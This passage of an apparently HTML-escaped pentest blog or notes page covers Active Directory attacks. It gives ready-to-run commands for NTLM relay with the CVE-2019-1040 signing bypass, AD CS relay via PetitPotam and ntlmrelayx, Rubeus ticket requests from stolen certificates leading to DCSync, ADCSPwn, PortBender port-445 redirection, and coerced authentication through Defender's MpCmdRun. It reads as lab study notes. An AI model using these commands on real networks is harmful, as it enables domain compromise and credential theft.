class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- Bypasses LDAP signing&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- Allows relaying to LDAP/LDAPS&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- Works even when signing protection is enabled&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Affected versions&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windwos 7 SP 1 through Windows 10 1903;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2008 through Windows Server 2019&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Start the relay&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python ntlmrelayx.py -t ldap://DC-IP --escalate-user TARGET_USER --remove-mic&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Or use the full options for the vulnerability&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python ntlmrelayx.py -t ldap://DC-IP --escalate-user TARGET_USER --remove-mic --no-smb-server --no-http-server&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;--remove-mic: Exploit CVE-2019-1040 to bypass signing&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;--escalate-user: Specify the user to escalate&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-t ldap://DC-IP: Specify the target DC&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h4 id="5-relay-ad-cspki-ntlm-relay"&gt;&lt;a href="#5-relay-ad-cspki-ntlm-relay" class="header-anchor"&gt;&lt;/a&gt;(5) Relay AD CS/PKI (NTLM Relay)&#10;&lt;/h4&gt;&lt;p&gt;&lt;a class="link" href="https://3nd.xyz/post/0-da-petitpotam-ad-cs-relay-attack/" target="_blank" rel="noopener"&#10; &gt;https://3nd.xyz/post/0-da-petitpotam-ad-cs-relay-attack/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;The target needs to have Active Directory Certificate Services configured.&lt;/p&gt;&#10;&lt;p&gt;URLs:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;a class="link" href="http://CA-SERVER/certsrv" target="_blank" rel="noopener"&#10; &gt;http://CA-SERVER/certsrv&lt;/a&gt;&#10;or&lt;/li&gt;&#10;&lt;li&gt;&lt;a class="link" href="https://CA-SERVER/certsrv" target="_blank" rel="noopener"&#10; &gt;https://CA-SERVER/certsrv&lt;/a&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;I couldn&amp;rsquo;t get the lab working, so I&amp;rsquo;ll just record the method here.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Basic syntax&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python ntlmrelayx.py -t http://CA-SERVER/certsrv/certfnsh.asp --adcs&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Additional options&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python ntlmrelayx.py -t http://CA-SERVER/certsrv/certfnsh.asp --adcs --template VulnTemplate&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python ntlmrelayx.py -t http://172.16.79.8/certsrv/certfnsh.asp -smb2support --adcs --template DomainController&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-t http://CA-SERVER: Certificate server web address&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;--adcs: Specify an AD CS attack&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;--template: Specify the certificate template (optional)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# https://github.com/topotam/PetitPotam&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PetitPotam.exe 172.16.79.1 172.16.79.2&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Ntlmrelay running on Darwin will generate a CSR (Certificate Signing Request) and try to abuse a vulnerable PKI template to create a certificate:&lt;/p&gt;&#10;&lt;p&gt;If it succeeds, ntlmrelayx will receive:&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;[+] Base64 certificate of user 2012DC$: MI&amp;hellip; (a long string of Base64-encoded certificate data)&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;Next, we use what we obtained.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Rubeus.exe asktgt /outfile:kirbi /user:2012dc$ /ptt /certificate:MIIRXQIBAzCCEScGCSqGSIb3DQEHAaCCERgEghEUMI...&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This gets us a TGT, after which we can use DCSync to obtain the DA NTLM Hash.&lt;/p&gt;&#10;&lt;h5 id="automation-tools"&gt;&lt;a href="#automation-tools" class="header-anchor"&gt;&lt;/a&gt;Automation Tools&#10;&lt;/h5&gt;&lt;p&gt;&lt;a class="link" href="https://github.com/Ridter/RelayX" target="_blank" rel="noopener"&#10; &gt;RelayX&lt;/a&gt; bundles several useful relay techniques together, making testing more efficient:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python relayx.py live.local/002:&amp;#39;LIVE@2021&amp;#39;@172.16.79.2 -r 172.16.79.1 -dc-ip 172.16.79.8 -m pki -t efs --template=DomainController&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;ADCSPwn essentially automates the attacks covered above.&#10;&lt;a class="link" href="https://github.com/bats3c/ADCSPwn/releases/tag/ADCSPwn" target="_blank" rel="noopener"&#10; &gt;https://github.com/bats3c/ADCSPwn/releases/tag/ADCSPwn&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/bats3c/ADCSPwn" target="_blank" rel="noopener"&#10; &gt;ADCSPwn&lt;/a&gt; is written in C#. Once compiled, it can conveniently be loaded into memory and run through execute-assembly. It uses PetitPotam to relay NTLM to AD CS and request a machine-account certificate. ADCSPwn also requires the WebClient service to be enabled on the remote machine that is triggered to authenticate. It is not installed by default and must be enabled manually; see &lt;a class="link" href="https://camerondwyer.com/2014/11/12/how-to-installenable-the-webclient-webdav-service-on-windows-server-2012-to-openedit-sharepoint-files/" target="_blank" rel="noopener"&#10; &gt;How to install/enable the WebClient (WebDAV) Service on Windows Server 2012 to open/edit SharePoint files&lt;/a&gt;.&lt;/p&gt;&#10;&lt;p&gt;When requesting a CA certificate, ADCSPwn cycles through every certificate template and attempts a request. Ordinary domain member machines use the Machine certificate template, while DCs use DomainController. To determine whether a template is usable, ADCSPwn looks for “Certificate Request Denied” in the response. In a Simplified Chinese environment, the response uses the localized certificate-request-denied message instead. To support multilingual environments, change &amp;ldquo;Certificate Request Denied&amp;rdquo; in line 382 of ADCSPwn/RelayServer.cs, in if (responseFromServer.Contains(&amp;ldquo;Certificate Request Denied&amp;rdquo;)), to &amp;ldquo;locDenied&amp;rdquo;, which is the HTML element ID on the certificate-request-denied response page. This issue was fixed in &lt;a class="link" href="https://github.com/bats3c/ADCSPwn/pull/5" target="_blank" rel="noopener"&#10; &gt;https://github.com/bats3c/ADCSPwn/pull/5&lt;/a&gt; (pull request).&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ADCSPwn.exe --adcs s2008.live.local --remote 2012dc.live.local --port 9001&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;After obtaining the &lt;code&gt;2012dc$&lt;/code&gt; machine-account certificate, continue the attack with Rubeus.&lt;/p&gt;&#10;&lt;h5 id="internal-port-445"&gt;&lt;a href="#internal-port-445" class="header-anchor"&gt;&lt;/a&gt;Internal Port 445&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;a class="link" href="https://github.com/praetorian-inc/PortBender" target="_blank" rel="noopener"&#10; &gt;PortBender&lt;/a&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/praetorian-inc/PortBender/releases/tag/v1.0.0" target="_blank" rel="noopener"&#10; &gt;https://github.com/praetorian-inc/PortBender/releases/tag/v1.0.0&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;For example, we may want to run PortBender in redirector mode so that we can launch an SMB relay attack from a compromised Windows system. We can tell PortBender to redirect all traffic bound for 445/TCP to the alternate port 8445/TCP, where the attacker&amp;rsquo;s SMB service is listening. In this example, we run “PortBender redirect 445 8445” to do that.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Run the C# file directly&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PortBender redirect 445 8445&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;It only includes a CNA plugin, not an EXE; packaging it manually may also work&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h4 id="6-additional-technique"&gt;&lt;a href="#6-additional-technique" class="header-anchor"&gt;&lt;/a&gt;(6) Additional Technique&#10;&lt;/h4&gt;&lt;p&gt;Trigger authentication through antivirus software.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cd &amp;#34;\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\MpCmdRun.exe -Scan -ScanType 3 -File \\ip\file.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="4-kerberos-delegation-attacks"&gt;&lt;a href="#4-kerberos-delegation-attacks" class="header-anchor"&gt;&lt;/a&gt;4. Kerberos Delegation Attacks&#10;&lt;/h3&gt;&lt;p&gt;Reference: &lt;a class="link" href="https://xz.aliyun.com/t/7217" target="_blank" rel="noopener"&#10; &gt;https://xz.aliyun.com/t/7217&lt;/a&gt;&lt;/p&gt;&#10;&lt;h4 id="background"&gt;&lt;a href="#background" class="header-anchor"&gt;&lt;/a&gt;Background&#10;&lt;/h4&gt;&lt;p&gt;Domain delegation means delegating a domain user&amp;rsquo;s privileges to a service account, allowing that service account to act in the domain with the user&amp;rsquo;s privileges.&lt;/p&gt;&#10;&lt;p&gt;The two main forms are unconstrained delegation &lt;code&gt;(Unconstrained delegation)&lt;/code&gt; and constrained delegation &lt;code&gt;(Constrained delegation)&lt;/code&gt;. There is also resource-based constrained delegation (&lt;code&gt;Resource Based Constrained Delegation&lt;/code&gt;), but that is not the focus here. Let&amp;rsquo;s look at how unconstrained and constrained delegation can each be exploited.&lt;/p&gt;&#10;&lt;h4 id="finding-delegated-users-and-computers-in-the-domain"&gt;&lt;a href="#finding-delegated-users-and-computers-in-the-domain" class="header-anchor"&gt;&lt;/a&gt;Finding Delegated Users and Computers in the Domain&#10;&lt;/h4&gt;&lt;h5 id="how-it-works"&gt;&lt;a href="#how-it-works" class="header-anchor"&gt;&lt;/a&gt;How It Works&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;When a service account or host is configured for unconstrained delegation, its &lt;code&gt;userAccountControl&lt;/code&gt; attribute contains &lt;code&gt;TRUSTED_FOR_DELEGATION&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;When a service account or host is configured for constrained delegation, its &lt;code&gt;userAccountControl&lt;/code&gt; attribute contains &lt;code&gt;TRUSTED_TO_AUTH_FOR_DELEGATION&lt;/code&gt;, and its &lt;code&gt;msDS-AllowedToDelegateTo&lt;/code&gt; attribute contains the constrained services&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;The usual way to find delegated users or computers in a domain is to query over &lt;code&gt;LDAP&lt;/code&gt; (short for &lt;code&gt;LightweightDirectory Access Protocol&lt;/code&gt;) and filter matching users or computers by the &lt;code&gt;userAccountControl&lt;/code&gt; attribute. We can use &lt;code&gt;ADSI&lt;/code&gt; (short for &lt;code&gt;ActiveDirectory Service Interfaces Editor&lt;/code&gt;) to edit and modify LDAP. Run &lt;code&gt;adsiedit.msc&lt;/code&gt; to open the &lt;code&gt;ADSI&lt;/code&gt; editor, then locate a user configured for unconstrained delegation. Its &lt;code&gt;userAccountControl&lt;/code&gt; attribute will contain &lt;code&gt;TRUSTED_FOR_DELEGATION&lt;/code&gt;.&lt;/p&gt;&#10;&lt;h4 id="lab-setup-skip-this"&gt;&lt;a href="#lab-setup-skip-this" class="header-anchor"&gt;&lt;/a&gt;Lab Setup (Skip This)&#10;&lt;/h4&gt;&lt;p&gt;You can skip this section. It mainly configures two types of accounts. An unconstrained delegation account requires a domain-joined host and must be configured on that host.&lt;/p&gt;&#10;&lt;p&gt;If you have a host in the domain, configure the unconstrained delegation account and then follow the steps below to set up IIS for testing. I did not test this; using a machine account directly also works.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Step 1: Confirm the hostname&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- Run hostname on the target host to confirm its hostname&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- Ensure the hostname matches the one configured in the SPN&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Step 2: Install IIS&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- Install IIS on the target host&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Install-WindowsFeature -Name Web-Server -IncludeManagementTools&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Step 3: Configure the service account&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- Open IIS Manager (inetmgr)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- Locate DefaultAppPool or create an application pool&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- Configure its identity as the domain account (test\svc_iis)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;span class="lnt"&gt;37&#10;&lt;/span&gt;&lt;span class="lnt"&gt;38&#10;&lt;/span&gt;&lt;span class="lnt"&gt;39&#10;&lt;/span&gt;&lt;span class="lnt"&gt;40&#10;&lt;/span&gt;&lt;span class="lnt"&gt;41&#10;&lt;/span&gt;&lt;span class="lnt"&gt;42&#10;&lt;/span&gt;&lt;span class="lnt"&gt;43&#10;&lt;/span&gt;&lt;span class="lnt"&gt;44&#10;&lt;/span&gt;&lt;span class="lnt"&gt;45&#10;&lt;/span&gt;&lt;span class="lnt"&gt;46&#10;&lt;/span&gt;&lt;span class="lnt"&gt;47&#10;&lt;/span&gt;&lt;span class="lnt"&gt;48&#10;&lt;/span&gt;&lt;span class="lnt"&gt;49&#10;&lt;/span&gt;&lt;span class="lnt"&gt;50&#10;&lt;/span&gt;&lt;span class="lnt"&gt;51&#10;&lt;/span&gt;&lt;span class="lnt"&gt;52&#10;&lt;/span&gt;&lt;span class="lnt"&gt;53&#10;&lt;/span&gt;&lt;span class="lnt"&gt;54&#10;&lt;/span&gt;&lt;span class="lnt"&gt;55&#10;&lt;/span&gt;&lt;span class="lnt"&gt;56&#10;&lt;/span&gt;&lt;span class="lnt"&gt;57&#10;&lt;/span&gt;&lt;span class="lnt"&gt;58&#10;&lt;/span&gt;&lt;span class="lnt"&gt;59&#10;&lt;/span&gt;&lt;span class="lnt"&gt;60&#10;&lt;/span&gt;&lt;span class="lnt"&gt;61&#10;&lt;/span&gt;&lt;span class="lnt"&gt;62&#10;&lt;/span&gt;&lt;span class="lnt"&gt;63&#10;&lt;/span&gt;&lt;span class="lnt"&gt;64&#10;&lt;/span&gt;&lt;span class="lnt"&gt;65&#10;&lt;/span&gt;&lt;span class="lnt"&gt;66&#10;&lt;/span&gt;&lt;span class="lnt"&gt;67&#10;&lt;/span&gt;&lt;span class="lnt"&gt;68&#10;&lt;/span&gt;&lt;span class="lnt"&gt;69&#10;&lt;/span&gt;&lt;span class="lnt"&gt;70&#10;&lt;/span&gt;&lt;span class="lnt"&gt;71&#10;&lt;/span&gt;&lt;span class="lnt"&gt;72&#10;&lt;/span&gt;&lt;span class="lnt"&gt;73&#10;&lt;/span&gt;&lt;span class="lnt"&gt;74&#10;&lt;/span&gt;&lt;span class="lnt"&gt;75&#10;&lt;/span&gt;&lt;span class="lnt"&gt;76&#10;&lt;/span&gt;&lt;span class="lnt"&gt;77&#10;&lt;/span&gt;&lt;span class="lnt"&gt;78&#10;&lt;/span&gt;&lt;span class="lnt"&gt;79&#10;&lt;/span&gt;&lt;span class="lnt"&gt;80&#10;&lt;/span&gt;&lt;span class="lnt"&gt;81&#10;&lt;/span&gt;&lt;span class="lnt"&gt;82&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;First IIS service account&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# CN stands for Common Name and identifies a location in Active Directory&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# For example, CN=Users,DC=domain,DC=com refers to the domain&amp;#39;s Users container&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span 